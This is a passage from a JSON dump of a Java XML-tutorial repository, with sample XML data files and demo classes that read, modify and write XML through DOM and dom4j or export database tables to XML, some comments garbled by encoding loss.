    "content": "<root>\n    <bean super=\"false\">\n        <rate>9.99</rate>\n    </bean>\n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/contact.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<contactList> \n  <contact name=\"eric\"> \n    <name>����</name> \n  </contact> \n</contactList>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/defaultPlugin.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<root>\n    <widget label=\"label1\" />\n    <widget plugin-class=\"tqlin.plugins.TextLabel\" label=\"label2\" />\n    <widget plugin-class=\"tqlin.plugins.Slider\" label=\"slider1\" />\n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/dom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<user id=\"001\" aa=\"xx\">\n\t<name>张三</name>\n\t<sex>男</sex>\n\t<age>20</age>\n</user>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/dom4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<users>\n\t<user id=\"001\">\n\t\t<name>张三</name>\n\t\t<sex>男</sex>\n\t\t<age>20</age>\n\t</user>\n\t<user id=\"002\">\n\t\t<name>李四</name>\n\t\t<sex>女</sex>\n\t\t<age>21</age>\n\t</user>\n</users>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/dom4jwrite.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<user id=\"001\" aa=\"xx\">\n  <name>张三111</name>\n  <sex>test123445</sex>\n  <age>2020</age>\n</user>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/employee$.xml",
    "content": "<employee>\n    <firstName>tq</firstName>\n    <lastName>lin</lastName>\n    <address>\n        <type>${type}</type>\n        <city>Xianmen</city>\n        <state>2</state>\n    </address>\n</employee>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/employee.xml",
    "content": "<employee>\n    <firstName>tq</firstName>\n    <lastName>lin</lastName>\n    <address>\n        <type>CITY</type>\n        <city>Xiamen</city>\n        <state>2</state>\n    </address>\n</employee>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/example.xml",
    "content": "<foo name=\"The Parent\">\n    <bar id=\"123\" title=\"The First Child\"/>\n    <bar id=\"456\" title=\"The Second Child\"/>\n    <bar id=\"789\" title=\"The Second Child\"/>\n</foo>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/example_ns.xml",
    "content": "<m:foo xmlns:m=\"http://www.mycompany.com/MyNamespace\"\n       xmlns:y=\"http://www.yourcompany.com/YourNamespace\" name=\"The Parent\">\n    <m:bar id=\"123\" title=\"The First Child\"/>\n    <y:bar id=\"456\" title=\"The Second Child\"/>\n    <m:bar id=\"789\" title=\"The Second Child\"/>\n</m:foo>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/jdomwriter.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<user id=\"001\" aa=\"xx\"><name>nameText</name><sex>性别</sex><age>age</age></user>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/log4j.properties",
    "content": "log4j.rootLogger=debug, stdout\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.Target=System.out\nlog4j.appender.stdout.layout=org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/res/books.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<bookstore>\n\t<book id=\"1\">\n\t\t<name>冰与火之歌</name>\n\t\t<author>乔治马丁</author>\n\t\t<year>2014</year>\n\t\t<price>89</price>\n\t</book>\n\t<book id=\"2\">\n\t\t<name>安徒生童话</name>\n\t\t<author>安徒生</author>\n\t\t<year>2004</year>\n\t\t<price>77</price>\n\t</book>\n\t<book id=\"3\">\n\t\t<name>think in java</name>\n\t\t<author>aaa</author>\n\t\t<year>1997</year>\n\t\t<price>100</price>\n\t</book>\n</bookstore>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/rss.xml",
    "content": "<rss version=\"2.0\">\n    <channel>\n\n        <title>Apache</title>\n        <link>http://www.apache.org</link>\n        <description>The Apache Software Foundation</description>\n        <language>en-US</language>\n        <rating>(PICS-1.1 \"http://www.rsac.org/ratingsv01.html\"\n            2 gen true comment \"RSACi North America Server\"\n            for \"http://www.rsac.org\" on \"1996.04.16T08:15-0500\"\n            r (n 0 s 0 v 0 l 0))\n        </rating>\n\n        <image>\n            <title>Apache</title>\n            <url>http://jakarta.apache.org/images/jakarta-logo.gif</url>\n            <link>http://jakarta.apache.org</link>\n            <width>505</width>\n            <height>480</height>\n            <description>The Jakarta project. Open source, serverside java.\n            </description>\n        </image>\n\n        <item>\n            <title>Commons Attributes 2.1 Released</title>\n            <link>http://jakarta.apache.org/site/news/news-2004-2ndHalf.html#20040815.1\n            </link>\n            <description>The Apache Commons team is happy to announce the release\n                of Commons Attributes 2.1.\n                This is the first release of the new Commons-Attributes code.\n            </description>\n        </item>\n\n        <item>\n            <title>Cloudscape Becomes Apache Derby</title>\n            <link>http://jakarta.apache.org/site/news/elsewhere-2004-2ndHalf.html#20040803.1\n            </link>\n            <description>IBM has submitted a proposal to the Apache DB project\n                for a Java-based package to be called 'Derby'.\n            </description>\n        </item>\n\n        <item>\n            <title>Commons BeanUtils 1.7 Released</title>\n            <link>http://jakarta.apache.org/site/news/news-2004-2ndHalf.html#20040802.1\n            </link>\n            <description/>\n        </item>\n\n        <item>\n            <title>Commons JXPath 1.2 Released</title>\n            <link>http://jakarta.apache.org/site/news/news-2004-2ndHalf.html#20040801.2\n            </link>\n            <description/>\n        </item>\n    </channel>\n</rss>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/student.xml",
    "content": "<?xml version=\"1.0\" encoding=\"gbk\"?>\n\n<Record>\n  <Head>\n    <Code>SD1101</Code>\n    <Exam>c1</Exam>\n  </Head>\n  <Body>\n    <CourseList>\n      <CourseCode>b1</CourseCode>\n      <Student>\n        <StudentName score=\"23\">a1</StudentName>\n        <StudentName score=\"87\">a2</StudentName>\n        <StudentName score=\"33\">a3</StudentName>\n        <StudentName score=\"33\">a4</StudentName>\n        <StudentName score=\"57\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>b2</CourseCode>\n      <Student>\n        <StudentName score=\"81\">a1</StudentName>\n        <StudentName score=\"52\">a2</StudentName>\n        <StudentName score=\"63\">a3</StudentName>\n        <StudentName score=\"89\">a4</StudentName>\n        <StudentName score=\"71\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>b3</CourseCode>\n      <Student>\n        <StudentName score=\"35\">a1</StudentName>\n        <StudentName score=\"42\">a2</StudentName>\n        <StudentName score=\"56\">a3</StudentName>\n        <StudentName score=\"83\">a4</StudentName>\n        <StudentName score=\"27\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>b4</CourseCode>\n      <Student>\n        <StudentName score=\"49\">a1</StudentName>\n        <StudentName score=\"14\">a2</StudentName>\n        <StudentName score=\"9\">a3</StudentName>\n        <StudentName score=\"89\">a4</StudentName>\n        <StudentName score=\"58\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n  </Body>\n</Record>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/user2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<user id=\"001\" aa=\"xx\"><name>nameText</name><sex>性别</sex><age>age</age></user>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/web.xml",
    "content": "<web-app>\n    <servlet>\n        <servlet-name>action</servlet-name>\n        <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>\n        <init-param>\n            <param-name>application</param-name>\n            <param-value>org.apache.struts.example.ApplicationResources</param-value>\n        </init-param>\n        <init-param>\n            <param-name>config</param-name>\n            <param-value>/WEB-INF/struts-config.xml</param-value>\n        </init-param>\n    </servlet>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/student2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<student id=\"001\" aa=\"xx\"><name>����</name><sex>��</sex><age>20</age></student>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/Book.java",
    "content": "\n\npublic class Book {\n    private String id;\n    private String name;\n    private String author;\n    private String year;\n    private String price;\n    private String language;\n    \n\tpublic String getLanguage() {\n\t\treturn language;\n\t}\n\tpublic void setLanguage(String language) {\n\t\tthis.language = language;\n\t}\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getAuthor() {\n\t\treturn author;\n\t}\n\tpublic void setAuthor(String author) {\n\t\tthis.author = author;\n\t}\n\tpublic String getYear() {\n\t\treturn year;\n\t}\n\tpublic void setYear(String year) {\n\t\tthis.year = year;\n\t}\n\tpublic String getPrice() {\n\t\treturn price;\n\t}\n\tpublic void setPrice(String price) {\n\t\tthis.price = price;\n\t}\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/DOM4JTest.java",
    "content": "\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.Element;\nimport org.dom4j.io.SAXReader;\n\npublic class DOM4JTest {\n    private static ArrayList<Book> bookList = new ArrayList<Book>();\n    /**\n     * @param args\n     */\n    public static void main(String[] args) {\n        // ����books.xml�ļ�\n        // ����SAXReader�Ķ���reader\n        SAXReader reader = new SAXReader();\n        try {\n            // ͨ��reader�����read��������books.xml�ļ�,��ȡdocuemnt����\n            Document document = reader.read(new File(\"books.xml\"));\n//            Document document = reader.read(new File(\"src/res/books.xml\"));\n            // ͨ��document�����ȡ���ڵ�bookstore\n            Element bookStore = document.getRootElement();\n            // ͨ��element�����elementIterator������ȡ������\n            Iterator it = bookStore.elementIterator();\n            // ��������������ȡ���ڵ��е���Ϣ���鼮��\n            while (it.hasNext()) {\n                System.out.println(\"=====��ʼ����ĳһ����=====\");\n                Element book = (Element) it.next();\n                // ��ȡbook���������Լ� ����ֵ\n                List<Attribute> bookAttrs = book.attributes();\n                for (Attribute attr : bookAttrs) {\n                    System.out.println(\"��������\" + attr.getName() + \"--����ֵ��\"\n                            + attr.getValue());\n                }\n                Iterator itt = book.elementIterator();\n                while (itt.hasNext()) {\n                    Element bookChild = (Element) itt.next();\n                    System.out.println(\"�ڵ�����\" + bookChild.getName() + \"--�ڵ�ֵ��\" + bookChild.getStringValue());\n                }\n                System.out.println(\"=====��������ĳһ����=====\");\n            }\n        } catch (DocumentException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/DOM4jDemo222.java",
    "content": "\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;  \n  \npublic class DOM4jDemo222 {  \n  \n    public int createXMLFile(String filename) {  \n  \n        int returnValue = 0;  \n  \n        Document document = DocumentHelper.createDocument();  \n  \n        Element booksElement = document.addElement(\"books\");  \n  \n        booksElement.addComment(\"This is a test for dom4j, holen, 2004.9.11\");  \n  \n        Element bookElement = booksElement.addElement(\"book\");  \n        /** ����show�������� */  \n        bookElement.addAttribute(\"show\", \"yes\");  \n        /** ����title�ڵ� */  \n        Element titleElement = bookElement.addElement(\"title\");  \n        /** Ϊtitle�������� */  \n        titleElement.setText(\"Dom4j Tutorials\");  \n  \n        /** ���Ƶ���ɺ�����book */  \n        bookElement = booksElement.addElement(\"book\");  \n        bookElement.addAttribute(\"show\", \"yes\");  \n        titleElement = bookElement.addElement(\"title\");  \n        titleElement.setText(\"Lucene Studing\");  \n        bookElement = booksElement.addElement(\"book\");  \n        bookElement.addAttribute(\"show\", \"no\");  \n        titleElement = bookElement.addElement(\"title\");  \n        titleElement.setText(\"Lucene in Action\");  \n  \n        /** ����owner�ڵ� */  \n        Element ownerElement = booksElement.addElement(\"owner\");  \n        ownerElement.setText(\"O'Reilly\");  \n        try {  \n            /** ��document�е�����д���ļ��� */  \n            XMLWriter writer = new XMLWriter(new FileWriter(new File(filename)));  \n            writer.write(document);  \n            writer.close();  \n            /** ִ�гɹ�,�践��1 */  \n            returnValue = 1;  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }  \n        return returnValue;  \n    }  \n  \n    /** \n     * �޸�XML�ļ�������,�����Ϊһ�����ļ� �ص�����dom4j�������ӽڵ�,�޸Ľڵ�,ɾ���ڵ� \n     *  \n     * @param filename \n     *            �޸Ķ����ļ� \n     * @param newfilename \n     *            �޸ĺ����Ϊ���ļ� \n     * @return ���ز������, 0��ʧ��, 1��ɹ� \n     */  \n    public int ModiXMLFile(String filename, String newfilename) {  \n        int returnValue = 0;  \n        try {  \n            SAXReader saxReader = new SAXReader();  \n            Document document = saxReader.read(new File(filename));  \n            /** �޸�����֮һ: ���book�ڵ���show���Ե�����Ϊyes,���޸ĳ�no */  \n            /** ����xpath���Ҷ��� */  \n            List list = document.selectNodes(\"/books/book/@show\");  \n            Iterator iter = list.iterator();  \n            while (iter.hasNext()) {  \n                Attribute attribute = (Attribute) iter.next();  \n                if (attribute.getValue().equals(\"yes\")) {  \n                    attribute.setValue(\"no\");  \n                }  \n            }  \n            /** \n             * �޸�����֮��: ��owner�����ݸ�ΪTshinghua \n             * ����owner�ڵ��м���date�ڵ�,date�ڵ������Ϊ2004-09-11,��Ϊdate�ڵ����һ������type \n             */  \n            list = document.selectNodes(\"/books/owner\");  \n            iter = list.iterator();  \n            if (iter.hasNext()) {  \n                Element ownerElement = (Element) iter.next();  \n                ownerElement.setText(\"Tshinghua\");  \n                Element dateElement = ownerElement.addElement(\"date\");  \n                dateElement.setText(\"2004-09-11\");  \n                dateElement.addAttribute(\"type\", \"Gregorian calendar\");  \n            }  \n            /** �޸�����֮��: ��title����ΪDom4j Tutorials,��ɾ���ýڵ� */  \n            list = document.selectNodes(\"/books/book\");  \n            iter = list.iterator();  \n            while (iter.hasNext()) {  \n                Element bookElement = (Element) iter.next();  \n                Iterator iterator = bookElement.elementIterator(\"title\");  \n                while (iterator.hasNext()) {  \n                    Element titleElement = (Element) iterator.next();  \n                    if (titleElement.getText().equals(\"Dom4j Tutorials\")) {  \n                        bookElement.remove(titleElement);  \n                    }  \n                }  \n            }  \n            try {  \n                /** ��document�е�����д���ļ��� */  \n                XMLWriter writer = new XMLWriter(new FileWriter(new File(  \n                        newfilename)));  \n                writer.write(document);  \n                writer.close();  \n                /** ִ�гɹ�,�践��1 */  \n                returnValue = 1;  \n            } catch (Exception ex) {  \n                ex.printStackTrace();  \n            }  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }  \n        return returnValue;  \n    }  \n  \n    /** \n     * ��ʽ��XML�ĵ�,������������� \n     *  \n     * @param filename \n     * @return \n     */  \n    public int formatXMLFile(String filename) {  \n        int returnValue = 0;  \n        try {  \n            SAXReader saxReader = new SAXReader();  \n            Document document = saxReader.read(new File(filename));  \n            XMLWriter writer = null;  \n            /** ��ʽ�����,����IE���һ�� */  \n            OutputFormat format = OutputFormat.createPrettyPrint();  \n            /** ָ��XML���� */  \n            format.setEncoding(\"GBK\");  \n            writer = new XMLWriter(new FileWriter(new File(filename)), format);  \n            writer.write(document);  \n            writer.close();  \n            /** ִ�гɹ�,�践��1 */  \n            returnValue = 1;  \n  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }  \n  \n        return returnValue;  \n  \n    }  \n  \n    public static void main(String[] args) {  \n  \n        DOM4jDemo222 temp = new DOM4jDemo222();  \n        System.out.println(temp.createXMLFile(\"f://holen.xml\"));  \n        System.out.println(temp.ModiXMLFile(\"f://holen.xml\", \"f://holen2.xml\"));  \n        System.out.println(temp.formatXMLFile(\"f://holen2.xml\"));  \n    }  \n  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/DOMTest.java",
    "content": "\n\nimport java.io.IOException;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.xml.sax.SAXException;\n\npublic class DOMTest {\n    public static void main(String[] args) {\n        //����һ��DocumentBuilderFactory�Ķ���\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        //����һ��DocumentBuilder�Ķ���\n        try {\n            //����DocumentBuilder����\n            DocumentBuilder db = dbf.newDocumentBuilder();\n            //ͨ��DocumentBuilder�����parser��������books.xml�ļ�����ǰ��Ŀ��\n            Document document = db.parse(\"books.xml\");\n            //��ȡ����book�ڵ�ļ���\n            NodeList bookList = document.getElementsByTagName(\"book\");\n            //ͨ��nodelist��getLength()�������Ի�ȡbookList�ĳ���\n            System.out.println(\"һ����\" + bookList.getLength() + \"����\");\n            //����ÿһ��book�ڵ�\n            for (int i = 0; i < bookList.getLength(); i++) {\n                System.out.println(\"=================���濪ʼ������\" + (i + 1) + \"���������=================\");\n                //ͨ�� item(i)���� ��ȡһ��book�ڵ㣬nodelist������ֵ��0��ʼ\n                Node book = bookList.item(i);\n                //��ȡbook�ڵ���������Լ���\n                NamedNodeMap attrs = book.getAttributes();\n                System.out.println(\"�� \" + (i + 1) + \"���鹲��\" + attrs.getLength() + \"������\");\n                //����book������\n                for (int j = 0; j < attrs.getLength(); j++) {\n                    //ͨ��item(index)������ȡbook�ڵ��ĳһ������\n                    Node attr = attrs.item(j);\n                    //��ȡ������\n                    System.out.print(\"��������\" + attr.getNodeName());\n                    //��ȡ����ֵ\n                    System.out.println(\"--����ֵ\" + attr.getNodeValue());\n                }\n                //����book�ڵ���ӽڵ�\n                NodeList childNodes = book.getChildNodes();\n                //����childNodes��ȡÿ���ڵ�Ľڵ����ͽڵ�ֵ\n                System.out.println(\"��\" + (i+1) + \"���鹲��\" + \n                childNodes.getLength() + \"���ӽڵ�\");\n                for (int k = 0; k < childNodes.getLength(); k++) {\n                    //���ֳ�text���͵�node�Լ�element���͵�node\n                    if (childNodes.item(k).getNodeType() == Node.ELEMENT_NODE) {\n                        //��ȡ��element���ͽڵ�Ľڵ���\n                        System.out.print(\"��\" + (k + 1) + \"���ڵ�Ľڵ�����\" \n                        + childNodes.item(k).getNodeName());\n                        //��ȡ��element���ͽڵ�Ľڵ�ֵ\n                        System.out.println(\"--�ڵ�ֵ�ǣ�\" + childNodes.item(k).getFirstChild().getNodeValue());\n                        //System.out.println(\"--�ڵ�ֵ�ǣ�\" + childNodes.item(k).getTextContent());\n                    }\n                }\n                System.out.println(\"======================����������\" + (i + 1) + \"���������=================\");\n            }\n        } catch (ParserConfigurationException e) {\n            e.printStackTrace();\n        } catch (SAXException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }        \n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/DatabaseToXML.java",
    "content": "import java.io.File;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.io.XMLWriter;\n\n\npublic class DatabaseToXML {\n\n\t\n\tpublic static void toXML(){\n\t\t\n\t\t\n\t\tConnection connection=null;\n\t\tPreparedStatement statement=null;\n\t\tResultSet rs=null;\n\t\tconnection=JDBCUtilSingle.getInitJDBCUtil().getConnection();\n\t\tString sql=\"SELECT * FROM  `dict`\";\n\t\t\n\t\t\n\t     Document document = DocumentHelper.createDocument();      \n         Element root = document.addElement(\"dict\");// 创建根节点     \n         \n\t\t\n\t\ttry {\n\t\t\tstatement=connection.prepareStatement(sql);\n\t\t\trs=statement.executeQuery();\n\t\t\twhile(rs.next()){\n\t\t\t\t\n\t\t\t\tElement word = root.addElement(\"word\");  \n\t\t\t\t\tElement name = word.addElement(\"name\");\n\t\t\t\t\tname.setText(rs.getString(\"word\"));\n\t\t\t\t\tElement mean=word.addElement(\"mean\");  \n\t\t\t\t\t\tmean.addCDATA(rs.getString(\"meaning\"));\n\t\t\t\t\tElement lx=word.addElement(\"lx\");\n\t\t\t\t\t\tlx.addCDATA(rs.getString(\"lx\"));\n\t\t\t\t\t\t\n\n\t\t\t}\n\t\t\tXMLWriter writer=new XMLWriter(new FileWriter(new File(\"dict2.xml\"))); \n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\ttoXML();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/DatabaseToXMLWithDom.java",
    "content": "\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.transform.Transformer;\nimport javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.dom.DOMSource;\nimport javax.xml.transform.stream.StreamResult;\n\n\n\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.Node;\n\n\n\npublic class DatabaseToXMLWithDom {\n\t\n\t\n\t\n\tpublic void toXML(){\n\t\t\n\t\t\n\t\t\n\t\t/**\n\t\t * 讲数据记录存入到数组中\n\t\t */\n\t\tString[] number={\"\"};\n\t\tString[] name={\"\"};\n\t\tString[] date={\"\"};\n\t\tString[] height={\"\"};\n\t\tConnection connection=null;\n\t\tPreparedStatement statement=null;\n\t\tResultSet rs=null;\n\t\tconnection=JDBCUtilSingle.getInitJDBCUtil().getConnection();\n\t\tString sql=\"SELECT * FROM `student` \";\n\t\ttry {\n\t\t\tstatement=connection.prepareStatement(sql);\n\t\t\trs=statement.executeQuery();\n\t\t\trs.last(); //讲游标移到结果集的最后一行\n\t\t\tint recordAmount=rs.getRow(); //获取记录数据\n\t\t\tnumber=new String[recordAmount];\n\t\t\tname=new String[recordAmount];\n\t\t\tdate=new String[recordAmount];\n\t\t\theight=new String[recordAmount];\n\t\t\tint k=0;\n\t\t\trs.beforeFirst(); //讲游标移到第一条记录前\n\t\t\twhile(rs.next()){\n\t\t\t\tnumber[k]=rs.getString(1);\n\t\t\t\tname[k]=rs.getString(2);\n\t\t\t\tdate[k]=rs.getString(3);\n\t\t\t\theight[k]=String.valueOf(rs.getDouble(4));\n\t\t\t\tk++;\n\t\t    }\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} finally{\n\t\t\tJDBCUtilSingle.getInitJDBCUtil().closeConnection(rs, statement, connection);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t/**\n\t\t * 将数据导入到XML文件\n\t\t */\n\t\tDocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();\n\t    factory.setIgnoringElementContentWhitespace(true);  //忽略空白缩进\n\t\tDocumentBuilder domParser;\n\t\ttry {\n\t\t\tdomParser = factory.newDocumentBuilder();\n\t\t\tDocument document=domParser.newDocument(); //通过调用newDocument() 方法获取实例\n\t\t\tdocument.setXmlVersion(\"1.0\"); //设置 xml版本号\n\t\t\tElement root=document.createElement(\"学生信息\");\n\t\t\tdocument.appendChild(root);\n\t\t\tfor(int k=0;k<name.length;k++){\n\t\t\t\tNode student=document.createElement(\"学生\");\n\t\t\t\troot.appendChild(student);\n\t\t\t\t\n\t\t\t\t\tNode xuehao=document.createElement(\"学号\");\n\t\t\t\t\txuehao.appendChild(document.createTextNode(number[k]));\n\t\t\t\t\t\n\t\t\t\t\tNode xingming=document.createElement(\"姓名\");\n\t\t\t\t\txingming.appendChild(document.createTextNode(name[k]));\n\t\t\t\t\t\n\t\t\t\t\tNode chusheng=document.createElement(\"出生日期\");\n\t\t\t\t\tchusheng.appendChild(document.createTextNode(date[k]));\n\t\t\t\t\t\n\t\t\t\t\tNode shenggao=document.createElement(\"身高\");\n\t\t\t\t\tshenggao.appendChild(document.createTextNode(height[k]));\n\t\t\t\t\t\n\t\t\t\t\tstudent.appendChild(xuehao);\n\t\t\t\t\tstudent.appendChild(xingming);\n\t\t\t\t\tstudent.appendChild(chusheng);\n\t\t\t\t\tstudent.appendChild(shenggao);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tTransformerFactory transFactory=TransformerFactory.newInstance(); //工厂对象获取transFactory实例\n\t\t\t\t\tTransformer transformer=transFactory.newTransformer(); //获取Transformer实例\n\t\t\t\t\tDOMSource domSource=new DOMSource(document);\n\t\t\t\t\tFile file=new File(\"newXML2.xml\");\n\t\t\t\t\tFileOutputStream out=new FileOutputStream(file);\n\t\t\t\t\tStreamResult xmlResult=new StreamResult(out);\n\t\t\t\t\ttransformer.transform(domSource, xmlResult);\n\t\t\t\t\tout.close();\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t}\n\t\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tnew DatabaseToXMLWithDom().toXML();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/DocumentTest.java",
    "content": "\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\nimport org.dom4j.tree.BaseElement;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\npublic class DocumentTest {\n\tprivate SAXReader reader = null;\n\n\t@Before\n\tpublic void init() {\n\t\treader = new SAXReader();\n\t}\n\n\t@After\n\tpublic void destory() {\n\t\treader = null;\n\t\tSystem.gc();\n\t}\n\n\tpublic void fail(Object o) {\n\t\tif (o != null)\n\t\t\tSystem.out.println(o);\n\t}\n\n\t// �ĵ���ʽ���£�\n\t// <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t// <catalog>\n\t// <!--An XML Catalog-->\n\t// <?target instruction?>\n\t// <journal title=\"XML Zone\" publisher=\"IBM developerWorks\">\n\t// <article level=\"Intermediate\" date=\"December-2001\">\n\t// <title>Java configuration with XML Schema</title>\n\t// <author>\n\t// <firstname>Marcello</firstname>\n\t// <lastname>Vitaletti</lastname>\n\t// </author>\n\t// </article>\n\t// </journal>\n\t// </catalog>\n\n\t@Test\n\tpublic void createDocument() throws IOException {\n\t\t// ����һƪ�ĵ�\n\t\tDocument doc = DocumentHelper.createDocument();\n\t\t// ���һ��Ԫ��\n\t\tElement root = doc.addElement(\"catalog\");\n\t\t// ΪrootԪ�����ע��\n\t\troot.addComment(\"An XML Catalog\");\n\t\t// ��ӱ��\n\t\troot.addProcessingInstruction(\"target\", \"instruction\");\n\t\t// ����Ԫ��\n\t\tElement journalEl = new BaseElement(\"journal\");\n\t\t// �������\n\t\tjournalEl.addAttribute(\"title\", \"XML Zone\");\n\t\tjournalEl.addAttribute(\"publisher\", \"IBM developerWorks\");\n\t\troot.add(journalEl);\n\t\t// ���Ԫ��\n\t\tElement articleEl = journalEl.addElement(\"article\");\n\t\tarticleEl.addAttribute(\"level\", \"Intermediate\");\n\t\tarticleEl.addAttribute(\"date\", \"December-2001\");\n\t\tElement titleEl = articleEl.addElement(\"title\");\n\t\t// �����ı�����\n\t\ttitleEl.setText(\"Java configuration with XML Schema\");\n\t\t// 